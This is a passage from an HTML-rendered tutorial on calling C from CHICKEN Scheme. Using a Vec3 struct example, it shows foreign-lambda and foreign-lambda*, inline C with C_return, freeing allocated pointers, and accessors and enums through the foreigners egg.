&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Vec3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="n"&gt;Vec3&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;Vec3Create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Vec3&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Vec3&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;malloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Vec3&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We could use &lt;a href="https://wiki.call-cc.org/man/5/Module%20(chicken%20foreign)#foreign-lambda"&gt;&lt;code&gt;foreign-lambda&lt;/code&gt;&lt;/a&gt; to bind to the function:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;vec3_create&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;foreign-lambda&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;c-pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Vec3&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; Return type, a pointer to a struct object of Vec3&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Vec3Create&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; Name fo the function&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;float&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;float&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;float&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; The three parameters (x,y,z) to pass to the function&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This would allow us to call the &lt;code&gt;vec3_create&lt;/code&gt; function like so:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3_create&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2.2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;3.3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr /&gt;
&lt;h2 id="foreign-lambda-example_1"&gt;foreign-lambda* example&lt;/h2&gt;
&lt;p&gt;Let's bind another C function &lt;code&gt;Vec3Print&lt;/code&gt;.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;Vec3Print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Vec3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Vec3 to print: (%f, %f, %f)&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We could also use &lt;a href="https://wiki.call-cc.org/man/5/Module%20(chicken%20foreign)#foreign-lambda"&gt;&lt;code&gt;foreign-lambda*&lt;/code&gt;&lt;/a&gt; (Notice the asterisk). This is similar to &lt;code&gt;foreign-lambda&lt;/code&gt; but accepts C code as a string.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;vec3_print&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;foreign-lambda*&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;void&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; The return type&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="nf"&gt;c-pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Vec3&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;a0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; The parameter to pass, a pointer to a Vec3 object&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Vec3Print(*a0);&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; The C code in string from&lt;/span&gt;
&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="c1"&gt;; Vec3Print accepts a non pointer, we dereference it&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3_print&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3_create&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2.2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;3.3&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; Creates a vec3 and prints it&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr /&gt;
&lt;h2 id="inline-c-code-in-foreign-lambda"&gt;Inline C code in foreign-lambda*&lt;/h2&gt;
&lt;p&gt;Here's another example using &lt;code&gt;foreign-lambda*&lt;/code&gt;. This time there is no predefined C function, but instead we define the code inside the lisp function's body.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;vec3_zero&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;foreign-lambda*&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;c-pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Vec3&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;; Empty variables&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Vec3* v = (Vec3*)Vec3Create(0.0f, 0.0f, 0.0f); &lt;/span&gt;
&lt;span class="s"&gt;    C_return(v);&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; Instead of &amp;quot;return&amp;quot;, we use &amp;quot;C_return&amp;quot;.&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3_print&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3_zero&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; Calls vec3_zero and prints the returned Vec3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Note that due to obscure technical reasons &lt;code&gt;C_return&lt;/code&gt; must be used instead of &lt;code&gt;return&lt;/code&gt; when returning a value. More info about this &lt;a href="https://wiki.call-cc.org/man/5/Module%20(chicken%20foreign)#foreign-lambda"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id="free-ing-vec3-pointers"&gt;Free-ing Vec3 pointers&lt;/h2&gt;
&lt;p&gt;Since &lt;code&gt;Vec3Create&lt;/code&gt; allocates memory for a Vec3 struct using &lt;code&gt;malloc&lt;/code&gt;, it's a good idea to free this when we are done using it. To do this we could bind a function to &lt;code&gt;free&lt;/code&gt;.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;free&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;foreign-lambda&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;free&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;c-pointer&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nf"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3_zero&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3_print&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;free&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;v&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr /&gt;
&lt;h2 id="setting-up-getters-and-setters"&gt;Setting up getters and setters&lt;/h2&gt;
&lt;p&gt;If we want to have access to variables of a struct object. We could do something like this:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;vec3_x&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;foreign-lambda*&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;float&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="nf"&gt;c-pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Vec3&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;a0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;C_return(a0-&amp;gt;x);&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;display&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3_x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3_create&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;8.8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;8.8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;8.8&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now this is fine but it'll be a pain to specify an accessor for every variable. A better solution is to use the &lt;a href="http://wiki.call-cc.org/eggref/5/foreigners#define-foreign-enum-type"&gt;&lt;code&gt;foreigners&lt;/code&gt;&lt;/a&gt; egg which allows the use of macros that will make our lives easier.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;chicken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;foreign&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;foreigners&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;;; Set up the accessors for Vec3 struct&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;define-foreign-record-type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Vec3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;float&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;vec3_x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;vec3_x!&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; vec3_x is a getter, vec3_x! is a setter&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;float&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;y&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;vec3_y&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;vec3_y!&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;float&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;z&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;vec3_z&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;vec3_z!&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nf"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3_create&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;4.4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;5.5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;6.6&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;display&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3_x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;v&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; Display value of x&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;newline&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3_x!&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;7.7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; Set x to 7.7&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;display&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3_x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;v&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; Display value of x&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;newline&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;free&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;v&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr /&gt;
&lt;h2 id="binding-enums"&gt;Binding enums&lt;/h2&gt;
&lt;p&gt;The &lt;a href="http://wiki.call-cc.org/eggref/5/foreigners#define-foreign-enum-type"&gt;&lt;code&gt;foreigners&lt;/code&gt;&lt;/a&gt; egg also allows for the binding of enums using &lt;a href="http://wiki.call-cc.org/eggref/5/foreigners#define-foreign-enum-type"&gt;&lt;code&gt;define-foreign-enum-type&lt;/code&gt;&lt;/a&gt;. Say we have an enum declaration &lt;code&gt;Keys&lt;/code&gt;.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;enum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Keys&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;UP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;RIGHT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;DOWN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;LEFT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="o"&gt;:::&lt;/span&gt;&lt;span class="n"&gt;scheme&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;define&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;foreign&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;enum&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
